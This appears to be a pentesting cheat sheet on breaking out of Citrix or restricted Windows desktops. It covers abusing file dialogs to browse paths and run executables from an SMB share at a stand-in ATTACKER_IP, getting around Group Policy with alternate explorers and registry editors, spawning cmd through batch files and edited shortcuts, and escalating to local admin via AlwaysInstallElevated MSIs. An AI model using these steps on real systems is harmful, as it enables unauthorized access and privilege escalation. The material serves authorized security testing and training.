Citrix / Restricted Desktop Breakout
Basic Methodology
Gain access to a Dialog Box
Exploit the Dialog Box for command execution
Escalate privileges to gain higher access
Bypassing Path Restrictions via Dialog Boxes
Many desktop apps have File > Open, Save As, Import, Export, Help, Print that open Windows dialog boxes
These dialog boxes can browse the filesystem even when File Explorer is restricted
Use Paint, Notepad, Wordpad, etc.
Using Paint to Browse Restricted Paths
Open Paint from Start Menu
File > Open
In the File Name field, enter UNC path:
\\127.0.0.1\c$\users\usernameSet File Type to "All Files"
Press Enter to browse the directory
Accessing SMB Shares from Restricted Environment
In Dialog Box, enter:
\\ATTACKER_IP\shareRight-click executables and select "Open" to run them
pwn.exe (Simple CMD Launcher)
Alternate File Explorers
Explorer++ (portable, recommended): https://explorerplusplus.com/
Q-Dir: alternative file manager
These bypass folder restrictions set by Group Policy
Alternate Registry Editors
SmallRegistryEditor: https://sourceforge.net/projects/sre/
Simpleregedit: https://sourceforge.net/projects/simpregedit/
Uberregedit: https://sourceforge.net/projects/uberregedit/
Bypass Group Policy blocking of regedit.exe
Script Execution
Create
evil.batcontainingcmdExecute it to spawn a Command Prompt
Works when .bat/.vbs/.ps extensions auto-execute with their interpreters
Modifying Existing Shortcuts
Right-click shortcut > Properties
Change Target field to
C:\Windows\System32\cmd.exeExecute the shortcut to spawn cmd
Privilege Escalation After Breakout
Check AlwaysInstallElevated
If both are set to 1, can create MSI to add admin user
Using PowerUp
Creates UserAdd.msi that can add a local admin
UAC Bypass
Resources
Last updated